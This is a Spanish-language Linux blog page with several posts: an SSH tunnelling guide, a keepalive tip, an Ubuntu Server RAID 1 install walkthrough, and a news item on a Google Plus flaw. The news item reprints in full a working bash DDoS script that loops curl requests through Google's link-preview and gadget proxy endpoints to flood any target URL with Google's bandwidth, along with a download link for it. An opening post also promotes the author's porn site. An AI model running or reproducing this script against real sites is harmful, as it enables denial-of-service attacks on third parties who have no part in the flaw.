Llevo tiempo sin escribir aquí, porque estoy muy ocupado y el poco tiempo que tengo lo dedico a mi otro blog de porno amateur Marranazas.com, así que os felicito la navidad y feliz año 2012 con este villancico Linuxero que me he encontrado en goear.com
Continuar leyendo «Villancico Linuxero, feliz navidad y feliz 2012»
Navega de forma anónima/segura mediante túneles SSH
Mediante los túneles SSH podemos asegurar casi todo tipo de protocolos, al conectarnos a una red insegura, como puede ser la red WiFi de un hotel, restaurante o las típicas redes públicas que algunos ayuntamientos ofrecen de forma gratuita (que por cierto, no sé cuanto durará), estamos expuesto a diferentes ataques por parte de otros usuarios conectados a la misma red.
El escenario por norma general es poner la tarjeta en modo “promiscuo” y estar mirando todos los paquetes que pasan por nuestra tarjeta de red, que puede tratarse de información sensible, desde usuarios y claves hasta números de cuentas bancarias.
Para éste ejemplo he usado un servidor VPS de tipo “budget” (precios bajos – prestaciones bajas) para realizar el artículo. Lo primero será asegurarnos de que el servidor SSH, en mi caso OpenSSH, está correctamente configurado para soportar los túneles.
Procedemos a mirar la configuración del servicio SSH en /etc/ssh/sshd_config y buscamos las siguientes directivas:
AllowTcpForwarding yes GatewayPorts yes TCPKeepAlive yes
Donde el primer parámetro activa el redireccionamiento y encapsulación de los diferentes protolocos basado en TCP y el segundo hace que la conexión se mantenga de forma continua, normalmente después de un tiempo, que suele ser aproximadamente unas dos horas, la conexión TCP se desconecta de forma automática.
Una vez editado el fichero de configuración, procedemos a reiniciar el servicio:
/etc/init.d/ssh restart
En otros sistemas operativos como CentOS, los demonios se encuentran en rc.d.
El siguiente paso es conectarnos y crear el túnel en el puerto que pasaremos como argumento al cliente ssh:
>ssh -D 8080 mad@servidor-personal.com
Con el comando de arriba, estamos creando un túnel en el puerto 8080 de nuestro propio equipo hacia el servidor SSH. Si queremos aprovechar el puerto y navegar de forma segura, tendremos que configurar nuestro navegador para al conectarse a los servidores web, use como servidor SOCKS nuestro propio equipo local y el puerto 8080.
Por ejemplo en Firefox se hace en la Configuración de Red:
Después de guardar los cambios, es recomendable reiniciar el navegador. El proceso es similar en la mayoría de los demás navegadores, para crear el túnel SSH, si estamos en Windows, en la parte final de artículo encontrarás otros artículos de apoyo para hacerlo desde Windows mediante el cliente SSH PuTTy.
Podemos ver un claro ejemplo si empleamos un sniffer, en éste caso WireShark, las diferencias entre el envío de datos cifrados y en claro.
En el ejemplo de arriba los datos están cifrados, mientras que en el de abajo no.
El uso de túneles no se limita sólo al ámbito web, podemos tunelizar cualquier protocolo, si queremos acceder de forma segura a nuestro servidor de correo, también podemos tunelizar POP, SMTP, IMAP y demás.
ssh -f usuario@servidor-personal.com -L 2000:smtp.gmail.com:25 -N
En éste ejemplo, estamos haciendo un túnel desde el puerto 2000 del servidor-personal al puerto 25 del servidor SMTP de gmail.com. El uso es ilimitado, sólo depende de nuestra imaginación.
Recursos y Documentación:
_SSH Port Forwarding [Symantec]
_Port Forwarding [The SSH Definitive Guide]
_How to tunnel Web Traffic with SSH Secure Shell [Using PuTTy]
_Breaking Firewalls with OpenSSH and PuTTy
Nota:
No hace falta tener un VPS o un servidor dedicado, podemos usar nuestro propio equipo que tenemos en casa, claro está, que habrá que mantenerlo encendido continuamente.
Podeis usar tambien una shell gratuita, yo uso la de http://shellmix.com
Evitar que la sesión de SSH se cierre – Timeout NO¡
No sé si os ha pasado, que dejas una sesión de ssh abierta por digamos media hora.. haciendo algo importantísimo.. y de repente, se te cierra! sobre todo con los nuevos routersmodem sigma 3 de ONO en España.
Es que el SSH server si ve que no hay actividad, cierra en un determinado tiempo la sesión. Para evitar esto, a nuestro cliente podemos habilitarle los keepalive timeouts, muy simple:
edita el archivo como root /etc/ssh/ssh_config en tu máquina cliente, al final agrega esto:
ServerAliveInterval 15
Suficiente enviar un keepalive cada 15 segundos… el servidor remoto te dejará abierta la sesión sin dar timeout.
Instalar Ubuntu Server sobre RAID 1 software
Un pequeño manual o reseña como lo querrais llamar… de cómo instalar Ubuntu Server en un sobre un RAID creado por software, en una máquina con dos discos iguales. Esta manual implica particionar y formatear discos duros, lo que destruye todos los datos. Por favor no la uses si no sabes lo que estás haciendo.
Página 1 – Particionar los discos duros
Instalar Ubuntu Server (vale perfectamente para todas las version de Ubuntu Server) sobre un arreglo RAID creado por software es fácil, pero la interfaz puede ser confusa. La instalación la haré sobre una máquina virtual con dos discos duros idénticos de 8 GB cada uno.
La instalación es totalmente standard hasta el momento de particionar los discos duros. En ese momento hay que decidir cuánto espacio dedicarle a cada función. En esta máquina de prueba usaré dos arreglos RAID; uno para la memoria virtual y otro para los datos. El de memoria virtual será de 512 MB (igual a la cantidad de RAM en este servidor) y el resto estará dedicado a una partición única.
Esta es la primera pantalla del particionador (nótense los dos discos iguales):
Acá escogeré la tercera opción, «Manually edit partition table». El particionador manual se ve así:
Primero editaré el primer disco (/dev/sda en este caso). El instalador de Ubuntu pregunta si estoy seguro de crear una tabla de partición en blanco en el disco duro. Contestaré «Yes».
Ahora aparece el espacio vacío en el particionador:
Cuando selecciono el espacio vacío, Ubuntu pregunta qué deseo hacer con él.
Respondo «Create a new partition» y me pide que le diga cuánto espacio dedicarle a la partición. Ofrece usar todo el espacio (8.6 GB, en este caso).
Como mi idea es usar 0.5 GB para memoria virtual, bajo lo que ofrece a 8.1 GB
El tipo de partición es «Primary»
y deseo que lo cree al principio del disco duro.
Tras crear la partición, debemos decirle a Ubuntu el rol que esta tendrá. Por default, Ubuntu ofrece usar la partición para el sistema operativo.
En este caso, queremos dedicarle la partición a un arreglo RAID. Por lo tanto, muevo el cursor a «Use as:» y aprieto Enter. En la pantalla siguiente se puede elegir el rol de la partición:
Elige «physical volume for RAID» y presiona Enter. El rol de la partición cambia para confirmar:
Falta decirle que esta partición es booteable. Presiona enter sobre «bootable flag».
Esta partición está lista. Presiona «Done setting up the partition».
Ahora el disco duro tiene una partición creada, y espacio libre. Crearemos otra partición primaria en el resto del espacio. El uso será physical volume for RAID, no booteable. Presiona Enter sobre «FREE SPACE» y sigue los mismos pasos de nuevo. Recuerda aceptar usar todo el espacio restante, y cambiar el rol de la partición a «physical volume for RAID». Cuando termines, la parte relevante de la ventana principal del particionador debiera verse más o menos así (como se vea exactamente dependerá de tus discos duros):
Ahora debes repetir exactamente el mismo proceso con el segundo disco duro. Los tamaños de las particiones deben ser idénticos. Cuando termines la ventana principal del particionador debiera verse así:
Ahora es el momento de crear los arreglos RAID
Para crear los dispositivos RAID, escoge «Configure software RAID» (la opción de más arriba en el menú principal del particionador).
Antes de continuar, debemos confirmar que queremos guardar los cambios a las tablas de partición. Responde «Yes».
Tras guardar los cambios aparece el menú de RAID por software. Crearemos dos dispositivos MD, uno para los datos y otro para la memoria virtual. Escoge «Create MD device».
Lo primero que Ubuntu quiere saber es qué tipo de arreglo RAID estamos creando. En este caso es RAID 1. Escoge RAID 1 y presiona Enter.
Luego debemos decirle cuántos dispositivos serán parte de este arreglo. En este caso, usaremos 2.
Luego hay que decirle cuántos de éstos estarán en standby por si hay fallas (los «spares»). En este caso, 0, que es lo que ofrece por default (ya que el mínimo de dispositivos para un RAID 1 son 2, todos estarán ocupados).
Por último hay que escoger los dispositivos que serán parte del arreglo. En este caso elegí la primera partición de cada disco (/dev/sda1 y /dev/sdb1).
Una vez que el arreglo está creado, el instalador muestra la pantalla inicial de la configuración de RAID de nuevo.
Repite los mismos pasos para crear un segundo dispositivo MD, RAID 1, con las otras dos particiones.
Cuando termines selecciona «Finish» y volverás a la pantalla inicial del particionador, donde habrá dos dispositivos nuevos: los discos duros virtuales que representan los arreglos RAID.
Los dispositivos RAID se comportan como discos duros, y también deben ser particionados.
Página 3 – particionar los arreglos RAID
Escoge el primer dispositivo RAID, el de más capacidad (en este ejemplo, 8.1 GB) y presiona Enter. El particionador, por default, no le asigna rol.
Escoge «Use as: do not use» y presiona Enter. Elige usar un sistema de archivos Ext3:
y presiona Enter. Aún falta un paso más, decirle al instalador que queremos usar esta partición para el sistema de archivos. Mueve el cursor a «Mount point: none» y presiona Enter.
Dile que quieres usar esta partición para «/ – the root file system»
y, por último, confirma que terminaste de configurar esta partición. Apreta Enter sobre «Done setting up the partition». La partición debiera verse así antes de confirmar:
En la pantalla principal del particionador, los cambios están guardados (dice en forma muy compacta que será un sistema de archivos ext3, para montar /). Es hora de particionar el otro arreglo RAID.
Escoge el RAID #1 y presiona Enter. Al igual que en el caso anterior, el instalador no le da un uso por default. Escoge «Use as: do not use» y presiona Enter.
Elige «swap area» para este disco y presiona Enter.
Una vez que la partición esté configurada, elige «Done setting up the partition» y el particionador mostrará los dos dispositivos RAID con su configuración lista:
Mueve el cursor hasta el final de la pantalla del particionador y elige «Finish partitioning and write changes to disk.»
Una vez más debemos confirmar los cambios a las tablas de partición:
Elige «Yes» y presiona Enter. El resto de la instalación de Ubuntu server es normal y no tiene relación con los discos. Si todo sale bien, el sistema bootea correctamente desde su arreglo RAID.
Fallo de seguridad en los servidores de Google Plus
Un nuevo agujero de seguridad ha sido descubierto en los servidores de Google plus que permite a los hackers hacer un ataque DDoS usando el ancho de banda de Google.
Google plus ha sido objeto de pruebas desde ya hace un tiempo y una de las personas encargadas de estas pruebas (de una empresa de seguridad italiana) ha informado de que los servidores de Google plus se pueden utilizar para hacer solicitudes DDos a otros sitios web.
La noticia original de este informe se puede ver en IHTeam un blog de seguridad propiedad de Simone Quatrini. Él demuestra cómo los usuarios pueden hacer uso del servidor de Google para actuar como un proxy y buscar el contenido de cualquier sitio web que desee. También se observa que los servidores de Google son más anónimos que los demás servidores.
Ha mencionado dos métodos, uno que utiliza / _ / sharebox / linkpreview /. Este método no expone su dirección IP para conectarse a los servidores Apache. Pero el otro método, gadgets / proxy? Parece que si que se expone la dirección IP a los servidores.
El equipo también ha publicado un script para shell de linux que permite ejecutar la vulnerabilidad. El script hace una solicitud a los servidores de Google para hacer una petición a una página web. Lo importante del tema es que se utiliza el ancho de banda de Google en lugar del atancante.
Según comenta el autor, hayo otros métodos para atacar de manera más segura, pero lógicamente no los quiere exponer en la red.
Resumiendo, se puede hacer y descargar senzilla y rápidamente cualquier tipo de archivo a través de los servidores de Google haciendo un DDoS.
Mas abajo teneis el video explicativo y el script en bash que usa en el video Simone Quatrini 😀
Fuente | IHTeam
In this example i start a thread of 1000 requests and the output bandwidth will result in 91/96Mbps (my house bandwidth is only 6Mbps). This is my server, do not start to ddos around for no reason!
+DDoS source code download:
http://www.ihteam.net/advisories/_154785695367_+ddos.sh
#!/bin/bash # Bug found by # # Simone 'R00T_ATI' Quatrini # # Mauro 'epicfail' Gasperini # # Site: http://www.ihteam.net # function start { echo "[*] Sending `echo $2` Requests..." for a in `seq $2` do id=$((RANDOM%3999999+3000000)) nohup curl "https://plus.google.com/_/sharebox/linkpreview/?c=$url&t=1&_reqid=$id&rt=j" -k -A "Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0" > /dev/null 2>&1 & nohup curl "https://images2-focus-opensocial.googleusercontent.com/gadgets/proxy?url=$urlclear&container=focus" -k -A "Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0" > /dev/null 2>&1 & done echo "[*] Still attacking `echo $urlclear`" echo "[*] Sleeping for 10 Seconds" sleep 10 start url $2 urlclear } echo '' echo ' 88888888ba, 88888888ba, ad88888ba ' echo ' aa 88 `"8b 88 `"8b d8" "8b ' echo ' 88 88 `8b 88 `8b Y8, ' echo 'aaaa88aaaa 88 88 88 88 ,adPPYba, `Y8aaaaa, ' echo '""""88"""" 88 88 88 88 a8" "8a `"""""8b, ' echo ' 88 88 8P 88 8P 8b d8 `8b ' echo ' "" 88 .a8P 88 .a8P "8a, ,a8" Y8a a8P ' echo ' 88888888Y"" 88888888Y"" `"YbbdP"" "Y88888P"' echo '' if [ "$#" -lt 2 ]; then echo "Usage: $0 <big file> <Requests>" echo "Example: $0 http://www.site.com/very_big_file.tar.gz 1000" echo "" exit 0 fi case $2 in *[!0-9]* ) echo "$2 is not numeric" && exit 1;; esac echo "Attack -->" $1 match1=/ repl1=%2F match2=: repl2=%3A url=$1 urlclear=$1 url=${url//$match1/$repl1} url=${url//$match2/$repl2} echo "" echo "[*] Loop started! CTRL+C to stop" echo "" start url $2 urlclear